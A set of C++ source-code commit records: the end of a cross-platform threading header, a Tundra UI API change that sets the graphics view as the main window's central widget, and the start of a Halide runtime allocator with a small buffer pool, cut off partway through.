TlsSetValue(key, nullptr);
#else
pthread_setspecific(key, nullptr);
#endif
}
inline void Event::signal()
{
#if defined(_WIN32)
SetEvent(handle);
#else
pthread_mutex_lock(&mutex);
signaled = true;
pthread_cond_signal(&handle);
pthread_mutex_unlock(&mutex);
#endif
}
inline void Event::wait()
{
#if defined(_WIN32)
WaitForSingleObject(handle, INFINITE);
#else
pthread_mutex_lock(&mutex);
while(!signaled) pthread_cond_wait(&handle, &mutex);
signaled = false;
pthread_mutex_unlock(&mutex);
#endif
}
#if PERF_PROFILE
inline int64_t atomicExchange(volatile int64_t *target, int64_t value)
{
#if defined(_WIN32)
return InterlockedExchange64(target, value);
#else
int ret;
__asm__ __volatile__("lock; xchg8 %0,(%1)" : "=r" (ret) :"r" (target), "0" (value) : "memory" );
return ret;
#endif
}
inline int atomicExchange(volatile int *target, int value)
{
#if defined(_WIN32)
return InterlockedExchange((volatile long*)target, (long)value);
#else
int ret;
__asm__ __volatile__("lock; xchgl %0,(%1)" : "=r" (ret) :"r" (target), "0" (value) : "memory" );
return ret;
#endif
}
#endif
inline int atomicIncrement(volatile int *value)
{
#if defined(_WIN32)
return InterlockedIncrement((volatile long*)value);
#else
return __sync_add_and_fetch(value, 1);
#endif
}
inline int atomicDecrement(volatile int *value)
{
#if defined(_WIN32)
return InterlockedDecrement((volatile long*)value);
#else
return __sync_sub_and_fetch(value, 1);
#endif
}
inline int atomicAdd(volatile int* target, int value)
{
#if defined(_WIN32)
return InterlockedExchangeAdd((volatile long*)target, value) + value;
#else
return __sync_add_and_fetch(target, value);
#endif
}
inline void nop()
{
#if defined(_WIN32)
__nop();
#else
__asm__ __volatile__ ("nop");
#endif
}
#if USE_STD_ATOMIC
class AtomicInt
{
public:
AtomicInt() : ai() {}
AtomicInt(int i) : ai(i) {}
inline operator int() const { return ai.load(std::memory_order_acquire); }
inline void operator=(const AtomicInt& i) { ai.store(i.ai.load(std::memory_order_acquire), std::memory_order_release); }
inline void operator=(int i) { ai.store(i, std::memory_order_release); }
inline void operator--() { ai.fetch_sub(1, std::memory_order_acq_rel); }
inline void operator++() { ai.fetch_add(1, std::memory_order_acq_rel); }
inline int operator--(int) { return ai.fetch_sub(1, std::memory_order_acq_rel) - 1; }
inline int operator++(int) { return ai.fetch_add(1, std::memory_order_acq_rel) + 1; }
inline void operator-=(int i) { ai.fetch_sub(i, std::memory_order_acq_rel); }
inline void operator+=(int i) { ai.fetch_add(i, std::memory_order_acq_rel); }
private:
std::atomic<int> ai;
};
#else
class AtomicInt
{
public:
AtomicInt() {}
AtomicInt(int i) : vi(i) {}
inline operator int() const { return vi; } // Note: this isn't a guaranteed atomic operation
inline void operator=(const AtomicInt& i) { sw::atomicExchange(&vi, i.vi); }
inline void operator=(int i) { sw::atomicExchange(&vi, i); }
inline void operator--() { sw::atomicDecrement(&vi); }
inline void operator++() { sw::atomicIncrement(&vi); }
inline int operator--(int) { return sw::atomicDecrement(&vi); }
inline int operator++(int) { return sw::atomicIncrement(&vi); }
inline void operator-=(int i) { sw::atomicAdd(&vi, -i); }
inline void operator+=(int i) { sw::atomicAdd(&vi, i); }
private:
volatile int vi;
};
#endif
}
#endif // sw_Thread_hpp
<|endoftext|>
|
<commit_before>// For conditions of distribution and use, see copyright notice in license.txt
#include "DebugOperatorNew.h"
#include "UiAPI.h"
#include "UiMainWindow.h"
#include "UiGraphicsView.h"
#include "QtUiAsset.h"
#include "UiProxyWidget.h"
#include "Application.h"
#include "Framework.h"
#include "AssetAPI.h"
#include "GenericAssetFactory.h"
#include "NullAssetFactory.h"
#include "LoggingFunctions.h"
#include <QEvent>
#include <QLayout>
#include <QVBoxLayout>
#include <QScrollBar>
#include <QUiLoader>
#include <QFile>
#include <QDir>
#include "MemoryLeakCheck.h"
/// The SuppressedPaintWidget is used as a viewport for the main QGraphicsView.
/** Its purpose is to disable all automatic drawing of the QGraphicsView to screen so that
we can composite an Ogre 3D render with the Qt widgets added to a QGraphicsScene. */
class SuppressedPaintWidget : public QWidget {
public:
SuppressedPaintWidget(QWidget *parent = 0, Qt::WindowFlags f = 0);
virtual ~SuppressedPaintWidget() {}
protected:
virtual bool event(QEvent *event);
virtual void paintEvent(QPaintEvent *event);
};
SuppressedPaintWidget::SuppressedPaintWidget(QWidget *parent, Qt::WindowFlags f)
:QWidget(parent, f)
{
setAttribute(Qt::WA_PaintOnScreen);
setAttribute(Qt::WA_NoSystemBackground);
setAttribute(Qt::WA_OpaquePaintEvent, true);
}
bool SuppressedPaintWidget::event(QEvent *event)
{
switch(event->type())
{
case QEvent::UpdateRequest:
case QEvent::Paint:
case QEvent::Wheel:
case QEvent::Resize:
return true;
default:
return QWidget::event(event);
}
}
void SuppressedPaintWidget::paintEvent(QPaintEvent *event)
{
Q_UNUSED(event);
}
UiAPI::UiAPI(Framework *owner_) :
owner(owner_),
mainWindow(0),
graphicsView(0),
graphicsScene(0)
{
if (owner_->IsHeadless())
{
owner_->Asset()->RegisterAssetTypeFactory(AssetTypeFactoryPtr(new NullAssetFactory("QtUiFile")));
return;
}
owner_->Asset()->RegisterAssetTypeFactory(AssetTypeFactoryPtr(new GenericAssetFactory<QtUiAsset>("QtUiFile")));
mainWindow = new UiMainWindow(owner);
mainWindow->setAutoFillBackground(false);
mainWindow->setWindowIcon(QIcon(Application::InstallationDirectory() + "data/ui/images/icon/TundraLogo32px.ico"));
connect(mainWindow, SIGNAL(WindowCloseEvent()), owner, SLOT(Exit()));
// Prepare graphics view and scene
graphicsView = new UiGraphicsView(mainWindow);
///\todo Memory leak below, see very end of ~Renderer() for comments.
// QMainWindow has a layout by default. It will not let you set another.
// Leave this check here if the window type changes to for example QWidget so we dont crash then.
if (!mainWindow->layout())
mainWindow->setLayout(new QVBoxLayout());
mainWindow->layout()->setMargin(0);
mainWindow->layout()->setContentsMargins(0,0,0,0);
mainWindow->layout()->addWidget(graphicsView);
viewportWidget = new SuppressedPaintWidget();
graphicsView->setViewport(viewportWidget);
//viewportWidget->setAttribute(Qt::WA_DontShowOnScreen, true);
viewportWidget->setGeometry(0, 0, graphicsView->width(), graphicsView->height());
viewportWidget->setContentsMargins(0,0,0,0);
mainWindow->setContentsMargins(0,0,0,0);
graphicsView->setContentsMargins(0,0,0,0);
graphicsView->setHorizontalScrollBarPolicy(Qt::ScrollBarAlwaysOff);
graphicsView->horizontalScrollBar()->setValue(0);
graphicsView->horizontalScrollBar()->setRange(0, 0);
graphicsView->setVerticalScrollBarPolicy(Qt::ScrollBarAlwaysOff);
graphicsView->verticalScrollBar()->setValue(0);
graphicsView->verticalScrollBar()->setRange(0, 0);
graphicsScene = new QGraphicsScene(this);
graphicsView->setScene(graphicsScene);
graphicsView->scene()->setSceneRect(graphicsView->rect());
connect(graphicsScene, SIGNAL(changed(const QList<QRectF> &)), graphicsView, SLOT(HandleSceneChanged(const QList<QRectF> &)));
connect(graphicsScene, SIGNAL(sceneRectChanged(const QRectF &)), SLOT(OnSceneRectChanged(const QRectF &)));
connect(mainWindow, SIGNAL(WindowResizeEvent(int,int)), graphicsView, SLOT(Resize(int,int)));
mainWindow->LoadWindowSettingsFromFile();
graphicsView->Resize(mainWindow->width(), mainWindow->height());
graphicsView->show();
mainWindow->show();
viewportWidget->show();
/// Do a full repaint of the view now that we've shown it.
graphicsView->MarkViewUndirty();
}
UiAPI::~UiAPI()
{
Reset();
}
void UiAPI::Reset()
{
// If we have a mainwindow delete it, note this will be null on headless mode
// so this if check needs to be here.
if (mainWindow)
{
mainWindow->close();
delete mainWindow.data();
}
// viewportWidget will be null after main window is deleted above
// as it is inside the main window (is a child so gets deleted)
if (!viewportWidget.isNull())
{
viewportWidget->close();
delete viewportWidget.data();
}
}
UiMainWindow *UiAPI::MainWindow() const
{
return mainWindow;
}
UiGraphicsView *UiAPI::GraphicsView() const
{
return graphicsView;
}
QGraphicsScene *UiAPI::GraphicsScene() const
{
return graphicsScene;
}
UiProxyWidget *UiAPI::AddWidgetToScene(QWidget *widget, Qt::WindowFlags flags)
{
if (owner->IsHeadless())
{
LogWarning("UiAPI: You are trying to add widgets to scene on a headless run, check your code!");
return 0;
}
if (!widget)
{
LogError("AddWidgetToScene called with a null proxy widget!");
return 0;
}
// QGraphicsProxyWidget maintains symmetry for the following states:
// state, enabled, visible, geometry, layoutDirection, style, palette,
// font, cursor, sizeHint, getContentsMargins and windowTitle
UiProxyWidget *proxy = new UiProxyWidget(widget, flags);
assert(proxy->widget() == widget);
// Synchronize windowState flags
proxy->widget()->setWindowState(widget->windowState());
AddProxyWidgetToScene(proxy);
// If the widget has WA_DeleteOnClose on, connect its proxy's visibleChanged()
// signal to a slot which handles the deletion. This must be done because closing
// proxy window in our system doesn't yield closeEvent, but hideEvent instead.
if (widget->testAttribute(Qt::WA_DeleteOnClose))
connect(proxy, SIGNAL(visibleChanged()), SLOT(DeleteCallingWidgetOnClose()));
return proxy;
}
bool UiAPI::AddProxyWidgetToScene(UiProxyWidget *widget)
{
if (!graphicsScene)
{
LogWarning("UiAPI: No graphicsScene to add a proxy widget to! This cannot be done in headless mode.");
return false;
}
if (!widget)
{
LogError("AddWidgetToScene called with a null proxy widget!");
return false;
}
if (!widget->widget())
{
LogError("AddWidgetToScene called for proxy widget that does not embed a widget!");
return false;
}
if (widgets.contains(widget))
{
LogWarning("AddWidgetToScene: Scene already contains the given widget!");
return false;
}
connect(widget, SIGNAL(destroyed(QObject *)), this, SLOT(OnProxyDestroyed(QObject *)));
widgets.append(widget);
if (widget->isVisible())
widget->hide();
// If no position has been set for Qt::Dialog widget, use default one so that the window's title
// bar - or any other critical part, doesn't go outside the view.
if ((widget->windowFlags() & Qt::Dialog) && widget->pos() == QPointF() && !(widget->widget()->windowState() & Qt::WindowFullScreen))
widget->setPos(10.0, 200.0);
// Resize full screen widgets to fit the scene rect.
if (widget->widget()->windowState() & Qt::WindowFullScreen)
{
fullScreenWidgets << widget;
widget->setGeometry(graphicsScene->sceneRect().toRect());
}
graphicsScene->addItem(widget);
return true;
}
void UiAPI::RemoveWidgetFromScene(QWidget *widget)
{
if (owner->IsHeadless())
{
LogWarning("UiAPI: You are trying to remove widgets from scene on a headless run, check your code!");
return;
}
if (!widget)
return;
if (graphicsScene)
graphicsScene->removeItem(widget->graphicsProxyWidget());
widgets.removeOne(widget->graphicsProxyWidget());
fullScreenWidgets.removeOne(widget->graphicsProxyWidget());
}
void UiAPI::RemoveWidgetFromScene(QGraphicsProxyWidget *widget)
{
if (owner->IsHeadless())
{
LogWarning("UiAPI: You are trying to remove widgets from scene on a headless run, check your code!");
return;
}
if (!widget)
return;
if (graphicsScene)
graphicsScene->removeItem(widget);
widgets.removeOne(widget);
fullScreenWidgets.removeOne(widget);
}
void UiAPI::OnProxyDestroyed(QObject* obj)
{
// Make sure we don't get dangling pointers
// Note: at this point it's a QObject, not a QGraphicsProxyWidget anymore
QGraphicsProxyWidget* proxy = static_cast<QGraphicsProxyWidget*>(obj);
widgets.removeOne(proxy);
fullScreenWidgets.removeOne(proxy);
}
QWidget *UiAPI::LoadFromFile(const QString &filePath, bool addToScene, QWidget *parent)
{
QWidget *widget = 0;
QString resolvedRef;
/// \todo Should be able to specify asset ref context
// Hack: here, we interpret anything that begins with . to be a locally relative path, that is not resolved
if (!filePath.startsWith('.'))
resolvedRef = owner->Asset()->ResolveAssetRef("", filePath);
else
resolvedRef = filePath;
AssetAPI::AssetRefType refType = AssetAPI::ParseAssetRef(resolvedRef);
if (refType != AssetAPI::AssetRefLocalPath && refType != AssetAPI::AssetRefRelativePath)
{
AssetPtr asset = owner->Asset()->GetAsset(resolvedRef);
if (!asset)
{
LogError("LoadFromFile: Asset \"" + resolvedRef + "\" is not loaded to the asset system. Call RequestAsset prior to use!");
return 0;
}
QtUiAsset *uiAsset = dynamic_cast<QtUiAsset*>(asset.get());
if (!uiAsset)
{
LogError("LoadFromFile: Asset \"" + resolvedRef + "\" is not of type QtUiFile!");
return 0;
}
if (!uiAsset->IsLoaded())
{
LogError("LoadFromFile: Asset \"" + resolvedRef + "\" data is not valid!");
return 0;
}
// Get the asset data with the assetrefs replaced to point to the disk sources on the current local system.
QByteArray data = uiAsset->GetRefReplacedAssetData();
QUiLoader loader;
QDataStream dataStream(&data, QIODevice::ReadOnly);
widget = loader.load(dataStream.device(), parent);
}
else // The file is from absolute source location.
{
QString path = resolvedRef;
// If the user submitted a relative path, try to lookup whether a path relative to cwd or the application installation directory was meant.
if (QDir::isRelativePath(path))
{
QString cwdPath = Application::CurrentWorkingDirectory() + resolvedRef;
if (QFile::exists(cwdPath))
path = cwdPath;
else
path = Application::InstallationDirectory() + resolvedRef;
}
QFile file(path);
QUiLoader loader;
file.open(QFile::ReadOnly);
widget = loader.load(&file, parent);
}
if (!widget)
{
LogError("LoadFromFile: Failed to load widget from file \"" + resolvedRef + "\"!");
return 0;
}
if (addToScene && widget)
{
if (!owner->IsHeadless())
AddWidgetToScene(widget);
else
LogWarning("UiAPI::LoadFromFile: You have addToScene = true, but this is a headless run (hence no ui scene).");
}
return widget;
}
void UiAPI::EmitContextMenuAboutToOpen(QMenu *menu, QList<QObject *> targets)
{
emit ContextMenuAboutToOpen(menu,targets);
}
void UiAPI::ShowWidget(QWidget *widget) const
{
if (!widget)
{
LogError("ShowWidget called on a null widget!");
return;
}
if (widget->graphicsProxyWidget())
widget->graphicsProxyWidget()->show();
else
widget->show();
}
void UiAPI::HideWidget(QWidget *widget) const
{
if (!widget)
{
LogError("HideWidget called on a null widget!");
return;
}
if (widget->graphicsProxyWidget())
widget->graphicsProxyWidget()->hide();
else
widget->hide();
}
void UiAPI::BringWidgetToFront(QWidget *widget) const
{
if (!widget)
{
LogError("BringWidgetToFront called on a null widget!");
return;
}
ShowWidget(widget);
if (graphicsScene)
{
graphicsScene->setActiveWindow(widget->graphicsProxyWidget());
graphicsScene->setFocusItem(widget->graphicsProxyWidget(), Qt::ActiveWindowFocusReason);
}
}
void UiAPI::BringProxyWidgetToFront(QGraphicsProxyWidget *widget) const
{
if (!widget)
{
LogError("BringWidgetToFront called on a null QGraphicsProxyWidget!");
return;
}
if (graphicsScene)
{
graphicsScene->setActiveWindow(widget);
graphicsScene->setFocusItem(widget, Qt::ActiveWindowFocusReason);
}
}
void UiAPI::OnSceneRectChanged(const QRectF &rect)
{
foreach(QGraphicsProxyWidget *widget, fullScreenWidgets)
widget->setGeometry(rect);
}
void UiAPI::DeleteCallingWidgetOnClose()
{
QGraphicsProxyWidget *proxy = dynamic_cast<QGraphicsProxyWidget *>(sender());
if (proxy && !proxy->isVisible())
proxy->deleteLater();
}
<commit_msg>Hide the warning at startup about using QMainWindow layout addWidget. Set the central widget instead.<commit_after>// For conditions of distribution and use, see copyright notice in license.txt
#include "DebugOperatorNew.h"
#include "UiAPI.h"
#include "UiMainWindow.h"
#include "UiGraphicsView.h"
#include "QtUiAsset.h"
#include "UiProxyWidget.h"
#include "Application.h"
#include "Framework.h"
#include "AssetAPI.h"
#include "GenericAssetFactory.h"
#include "NullAssetFactory.h"
#include "LoggingFunctions.h"
#include <QEvent>
#include <QLayout>
#include <QVBoxLayout>
#include <QScrollBar>
#include <QUiLoader>
#include <QFile>
#include <QDir>
#include "MemoryLeakCheck.h"
/// The SuppressedPaintWidget is used as a viewport for the main QGraphicsView.
/** Its purpose is to disable all automatic drawing of the QGraphicsView to screen so that
we can composite an Ogre 3D render with the Qt widgets added to a QGraphicsScene. */
class SuppressedPaintWidget : public QWidget {
public:
SuppressedPaintWidget(QWidget *parent = 0, Qt::WindowFlags f = 0);
virtual ~SuppressedPaintWidget() {}
protected:
virtual bool event(QEvent *event);
virtual void paintEvent(QPaintEvent *event);
};
SuppressedPaintWidget::SuppressedPaintWidget(QWidget *parent, Qt::WindowFlags f)
:QWidget(parent, f)
{
setAttribute(Qt::WA_PaintOnScreen);
setAttribute(Qt::WA_NoSystemBackground);
setAttribute(Qt::WA_OpaquePaintEvent, true);
}
bool SuppressedPaintWidget::event(QEvent *event)
{
switch(event->type())
{
case QEvent::UpdateRequest:
case QEvent::Paint:
case QEvent::Wheel:
case QEvent::Resize:
return true;
default:
return QWidget::event(event);
}
}
void SuppressedPaintWidget::paintEvent(QPaintEvent *event)
{
Q_UNUSED(event);
}
UiAPI::UiAPI(Framework *owner_) :
owner(owner_),
mainWindow(0),
graphicsView(0),
graphicsScene(0)
{
if (owner_->IsHeadless())
{
owner_->Asset()->RegisterAssetTypeFactory(AssetTypeFactoryPtr(new NullAssetFactory("QtUiFile")));
return;
}
owner_->Asset()->RegisterAssetTypeFactory(AssetTypeFactoryPtr(new GenericAssetFactory<QtUiAsset>("QtUiFile")));
mainWindow = new UiMainWindow(owner);
mainWindow->setAutoFillBackground(false);
mainWindow->setWindowIcon(QIcon(Application::InstallationDirectory() + "data/ui/images/icon/TundraLogo32px.ico"));
connect(mainWindow, SIGNAL(WindowCloseEvent()), owner, SLOT(Exit()));
// Prepare graphics view and scene
graphicsView = new UiGraphicsView(mainWindow);
///\todo Memory leak below, see very end of ~Renderer() for comments.
// QMainWindow has a layout by default. It will not let you set another.
// Leave this check here if the window type changes to for example QWidget so we dont crash then.
if (!mainWindow->layout())
mainWindow->setLayout(new QVBoxLayout());
mainWindow->layout()->setMargin(0);
mainWindow->layout()->setContentsMargins(0,0,0,0);
mainWindow->setCentralWidget(graphicsView);
viewportWidget = new SuppressedPaintWidget();
graphicsView->setViewport(viewportWidget);
//viewportWidget->setAttribute(Qt::WA_DontShowOnScreen, true);
viewportWidget->setGeometry(0, 0, graphicsView->width(), graphicsView->height());
viewportWidget->setContentsMargins(0,0,0,0);
mainWindow->setContentsMargins(0,0,0,0);
graphicsView->setContentsMargins(0,0,0,0);
graphicsView->setHorizontalScrollBarPolicy(Qt::ScrollBarAlwaysOff);
graphicsView->horizontalScrollBar()->setValue(0);
graphicsView->horizontalScrollBar()->setRange(0, 0);
graphicsView->setVerticalScrollBarPolicy(Qt::ScrollBarAlwaysOff);
graphicsView->verticalScrollBar()->setValue(0);
graphicsView->verticalScrollBar()->setRange(0, 0);
graphicsScene = new QGraphicsScene(this);
graphicsView->setScene(graphicsScene);
graphicsView->scene()->setSceneRect(graphicsView->rect());
connect(graphicsScene, SIGNAL(changed(const QList<QRectF> &)), graphicsView, SLOT(HandleSceneChanged(const QList<QRectF> &)));
connect(graphicsScene, SIGNAL(sceneRectChanged(const QRectF &)), SLOT(OnSceneRectChanged(const QRectF &)));
connect(mainWindow, SIGNAL(WindowResizeEvent(int,int)), graphicsView, SLOT(Resize(int,int)));
mainWindow->LoadWindowSettingsFromFile();
graphicsView->Resize(mainWindow->width(), mainWindow->height());
graphicsView->show();
mainWindow->show();
viewportWidget->show();
/// Do a full repaint of the view now that we've shown it.
graphicsView->MarkViewUndirty();
}
UiAPI::~UiAPI()
{
Reset();
}
void UiAPI::Reset()
{
// If we have a mainwindow delete it, note this will be null on headless mode
// so this if check needs to be here.
if (mainWindow)
{
mainWindow->close();
delete mainWindow.data();
}
// viewportWidget will be null after main window is deleted above
// as it is inside the main window (is a child so gets deleted)
if (!viewportWidget.isNull())
{
viewportWidget->close();
delete viewportWidget.data();
}
}
UiMainWindow *UiAPI::MainWindow() const
{
return mainWindow;
}
UiGraphicsView *UiAPI::GraphicsView() const
{
return graphicsView;
}
QGraphicsScene *UiAPI::GraphicsScene() const
{
return graphicsScene;
}
UiProxyWidget *UiAPI::AddWidgetToScene(QWidget *widget, Qt::WindowFlags flags)
{
if (owner->IsHeadless())
{
LogWarning("UiAPI: You are trying to add widgets to scene on a headless run, check your code!");
return 0;
}
if (!widget)
{
LogError("AddWidgetToScene called with a null proxy widget!");
return 0;
}
// QGraphicsProxyWidget maintains symmetry for the following states:
// state, enabled, visible, geometry, layoutDirection, style, palette,
// font, cursor, sizeHint, getContentsMargins and windowTitle
UiProxyWidget *proxy = new UiProxyWidget(widget, flags);
assert(proxy->widget() == widget);
// Synchronize windowState flags
proxy->widget()->setWindowState(widget->windowState());
AddProxyWidgetToScene(proxy);
// If the widget has WA_DeleteOnClose on, connect its proxy's visibleChanged()
// signal to a slot which handles the deletion. This must be done because closing
// proxy window in our system doesn't yield closeEvent, but hideEvent instead.
if (widget->testAttribute(Qt::WA_DeleteOnClose))
connect(proxy, SIGNAL(visibleChanged()), SLOT(DeleteCallingWidgetOnClose()));
return proxy;
}
bool UiAPI::AddProxyWidgetToScene(UiProxyWidget *widget)
{
if (!graphicsScene)
{
LogWarning("UiAPI: No graphicsScene to add a proxy widget to! This cannot be done in headless mode.");
return false;
}
if (!widget)
{
LogError("AddWidgetToScene called with a null proxy widget!");
return false;
}
if (!widget->widget())
{
LogError("AddWidgetToScene called for proxy widget that does not embed a widget!");
return false;
}
if (widgets.contains(widget))
{
LogWarning("AddWidgetToScene: Scene already contains the given widget!");
return false;
}
connect(widget, SIGNAL(destroyed(QObject *)), this, SLOT(OnProxyDestroyed(QObject *)));
widgets.append(widget);
if (widget->isVisible())
widget->hide();
// If no position has been set for Qt::Dialog widget, use default one so that the window's title
// bar - or any other critical part, doesn't go outside the view.
if ((widget->windowFlags() & Qt::Dialog) && widget->pos() == QPointF() && !(widget->widget()->windowState() & Qt::WindowFullScreen))
widget->setPos(10.0, 200.0);
// Resize full screen widgets to fit the scene rect.
if (widget->widget()->windowState() & Qt::WindowFullScreen)
{
fullScreenWidgets << widget;
widget->setGeometry(graphicsScene->sceneRect().toRect());
}
graphicsScene->addItem(widget);
return true;
}
void UiAPI::RemoveWidgetFromScene(QWidget *widget)
{
if (owner->IsHeadless())
{
LogWarning("UiAPI: You are trying to remove widgets from scene on a headless run, check your code!");
return;
}
if (!widget)
return;
if (graphicsScene)
graphicsScene->removeItem(widget->graphicsProxyWidget());
widgets.removeOne(widget->graphicsProxyWidget());
fullScreenWidgets.removeOne(widget->graphicsProxyWidget());
}
void UiAPI::RemoveWidgetFromScene(QGraphicsProxyWidget *widget)
{
if (owner->IsHeadless())
{
LogWarning("UiAPI: You are trying to remove widgets from scene on a headless run, check your code!");
return;
}
if (!widget)
return;
if (graphicsScene)
graphicsScene->removeItem(widget);
widgets.removeOne(widget);
fullScreenWidgets.removeOne(widget);
}
void UiAPI::OnProxyDestroyed(QObject* obj)
{
// Make sure we don't get dangling pointers
// Note: at this point it's a QObject, not a QGraphicsProxyWidget anymore
QGraphicsProxyWidget* proxy = static_cast<QGraphicsProxyWidget*>(obj);
widgets.removeOne(proxy);
fullScreenWidgets.removeOne(proxy);
}
QWidget *UiAPI::LoadFromFile(const QString &filePath, bool addToScene, QWidget *parent)
{
QWidget *widget = 0;
QString resolvedRef;
/// \todo Should be able to specify asset ref context
// Hack: here, we interpret anything that begins with . to be a locally relative path, that is not resolved
if (!filePath.startsWith('.'))
resolvedRef = owner->Asset()->ResolveAssetRef("", filePath);
else
resolvedRef = filePath;
AssetAPI::AssetRefType refType = AssetAPI::ParseAssetRef(resolvedRef);
if (refType != AssetAPI::AssetRefLocalPath && refType != AssetAPI::AssetRefRelativePath)
{
AssetPtr asset = owner->Asset()->GetAsset(resolvedRef);
if (!asset)
{
LogError("LoadFromFile: Asset \"" + resolvedRef + "\" is not loaded to the asset system. Call RequestAsset prior to use!");
return 0;
}
QtUiAsset *uiAsset = dynamic_cast<QtUiAsset*>(asset.get());
if (!uiAsset)
{
LogError("LoadFromFile: Asset \"" + resolvedRef + "\" is not of type QtUiFile!");
return 0;
}
if (!uiAsset->IsLoaded())
{
LogError("LoadFromFile: Asset \"" + resolvedRef + "\" data is not valid!");
return 0;
}
// Get the asset data with the assetrefs replaced to point to the disk sources on the current local system.
QByteArray data = uiAsset->GetRefReplacedAssetData();
QUiLoader loader;
QDataStream dataStream(&data, QIODevice::ReadOnly);
widget = loader.load(dataStream.device(), parent);
}
else // The file is from absolute source location.
{
QString path = resolvedRef;
// If the user submitted a relative path, try to lookup whether a path relative to cwd or the application installation directory was meant.
if (QDir::isRelativePath(path))
{
QString cwdPath = Application::CurrentWorkingDirectory() + resolvedRef;
if (QFile::exists(cwdPath))
path = cwdPath;
else
path = Application::InstallationDirectory() + resolvedRef;
}
QFile file(path);
QUiLoader loader;
file.open(QFile::ReadOnly);
widget = loader.load(&file, parent);
}
if (!widget)
{
LogError("LoadFromFile: Failed to load widget from file \"" + resolvedRef + "\"!");
return 0;
}
if (addToScene && widget)
{
if (!owner->IsHeadless())
AddWidgetToScene(widget);
else
LogWarning("UiAPI::LoadFromFile: You have addToScene = true, but this is a headless run (hence no ui scene).");
}
return widget;
}
void UiAPI::EmitContextMenuAboutToOpen(QMenu *menu, QList<QObject *> targets)
{
emit ContextMenuAboutToOpen(menu,targets);
}
void UiAPI::ShowWidget(QWidget *widget) const
{
if (!widget)
{
LogError("ShowWidget called on a null widget!");
return;
}
if (widget->graphicsProxyWidget())
widget->graphicsProxyWidget()->show();
else
widget->show();
}
void UiAPI::HideWidget(QWidget *widget) const
{
if (!widget)
{
LogError("HideWidget called on a null widget!");
return;
}
if (widget->graphicsProxyWidget())
widget->graphicsProxyWidget()->hide();
else
widget->hide();
}
void UiAPI::BringWidgetToFront(QWidget *widget) const
{
if (!widget)
{
LogError("BringWidgetToFront called on a null widget!");
return;
}
ShowWidget(widget);
if (graphicsScene)
{
graphicsScene->setActiveWindow(widget->graphicsProxyWidget());
graphicsScene->setFocusItem(widget->graphicsProxyWidget(), Qt::ActiveWindowFocusReason);
}
}
void UiAPI::BringProxyWidgetToFront(QGraphicsProxyWidget *widget) const
{
if (!widget)
{
LogError("BringWidgetToFront called on a null QGraphicsProxyWidget!");
return;
}
if (graphicsScene)
{
graphicsScene->setActiveWindow(widget);
graphicsScene->setFocusItem(widget, Qt::ActiveWindowFocusReason);
}
}
void UiAPI::OnSceneRectChanged(const QRectF &rect)
{
foreach(QGraphicsProxyWidget *widget, fullScreenWidgets)
widget->setGeometry(rect);
}
void UiAPI::DeleteCallingWidgetOnClose()
{
QGraphicsProxyWidget *proxy = dynamic_cast<QGraphicsProxyWidget *>(sender());
if (proxy && !proxy->isVisible())
proxy->deleteLater();
}
<|endoftext|>
|
<commit_before>#include "HalideRuntime.h"
extern "C" {
extern void *malloc(size_t);
extern void free(void *);
}
namespace Halide { namespace Runtime { namespace Internal {
WEAK void *aligned_malloc(size_t alignment, size_t size) {
// We also need to align the size of the buffer.
size = (size + alignment - 1) & ~(alignment - 1);
// Allocate enough space for aligning the pointer we return.
void *orig = malloc(size + alignment);
if (orig == NULL) {
// Will result in a failed assertion and a call to halide_error
return NULL;
}
// We want to store the original pointer prior to the pointer we return.
void *ptr = (void *)(((size_t)orig + alignment + sizeof(void*) - 1) & ~(alignment - 1));
((void **)ptr)[-1] = orig;
return ptr;
}
WEAK void aligned_free(void *ptr) {
if (ptr) {
free(((void**)ptr)[-1]);
}
}
// We keep a small pool of small pre-allocated buffers for use by Halide
// code; some kernels end up doing per-scanline allocations and frees,
// which can cause a noticable performance impact on some workloads.
// 'num_buffers' is the number of pre-allocated buffers and 'buffer_size' is
// the size of each buffer. The pre-allocated buffers are shared among threads
// and we use __sync_val_compare_and_swap primitive to synchronize the buffer
// allocation.
// TODO(psuriana): make num_buffers configurable by user
static const int num_buffers = 10;
static const int buffer_size = 1024 * 64;
WEAK int buf_is_used[num_buffers];
WEAK void *mem_buf[num_buffers] = { NULL, };
__attribute__((destructor))
WEAK void halide_allocator_cleanup() {
for (int i = 0; i < num_buffers; ++i) {
aligned_free(mem_buf[i]);
}
}
WEAK void *halide_default_malloc(void *user_context, size_t x) {
// Hexagon needs up to 128 byte alignment.
const size_t alignment = 128;
if (x <= buffer_size) {
for (int i = 0; i < num_buffers; ++i) {
if (__sync_val_compare_and_swap(buf_is_used + i, 0, 1) == 0) {
if (mem_buf[i] == NULL) {
mem_buf[i] = aligned_malloc(alignment, buffer_size);
}
return mem_buf[i];
}
}
}
return aligned_malloc(alignment, x);
}
WEAK void halide_default_free(void *user_context, void *ptr) {
for (int i = 0; i < num_buffers; ++i) {
if (mem_buf[i] == ptr) {
buf_is_used[i] = 0;
return;
}
}
aligned_free(ptr);
}
WEAK halide_malloc_t custom_malloc = halide_default_malloc;
WEAK halide_free_t custom_free = halide_default_free;
}}} // namespace Halide::Runtime::Internal
extern "C" {
WEAK halide_malloc_t halide_set_custom_malloc(halide_malloc_t user_malloc) {
halide_malloc_t result = custom_malloc;
custom_malloc = user_malloc;
return result;
}
WEAK halide_free_t halide_set_custom_free(halide_free_t user_free) {
halide_free_t result = custom_free;
custom_free = user_free;
return result;
}
WEAK void *halide_malloc(void *user_context, size_t x) {
return custom_malloc(user_context, x);
}
WEAK void halide_free(void *user_context, void *ptr) {
custom_free(user_context, ptr);
}
}
<commit_msg>Work around issue with non-zero-initialized globals.<commit_after>#include "HalideRuntime.h"
extern "C" {
extern void *malloc(size_t);
extern void free(void *);
}
namespace Halide { namespace Runtime { namespace Internal {
WEAK void *aligned_malloc(size_t alignment, size_t size) {
// We also need to align the size of the buffer.
size = (size + alignment - 1) & ~(alignment - 1);
// Allocate enough space for aligning the pointer we return.
void *orig = malloc(size + alignment);
if (orig == NULL) {
// Will result in a failed assertion and a call to halide_error
return NULL;
}
// We want to store the original pointer prior to the pointer we return.
void *ptr = (void *)(((size_t)orig + alignment + sizeof(void*) - 1) & ~(alignment - 1));
((void **)ptr)[-1] = orig;
return ptr;
}
WEAK void aligned_free(void *ptr) {
if (ptr) {
free(((void**)ptr)[-1]);
}
}
// We keep a small pool of small pre-allocated buffers for use by Halide
// code; some kernels end up doing per-scanline allocations and frees,
// which can cause a noticable performance impact on some workloads.
// 'num_buffers' is the number of pre-allocated buffers and 'buffer_size' is
// the size of each buffer. The pre-allocated buffers are shared among threads
// and we use __sync_val_compare_and_swap primitive to synchronize the buffer
// allocation.
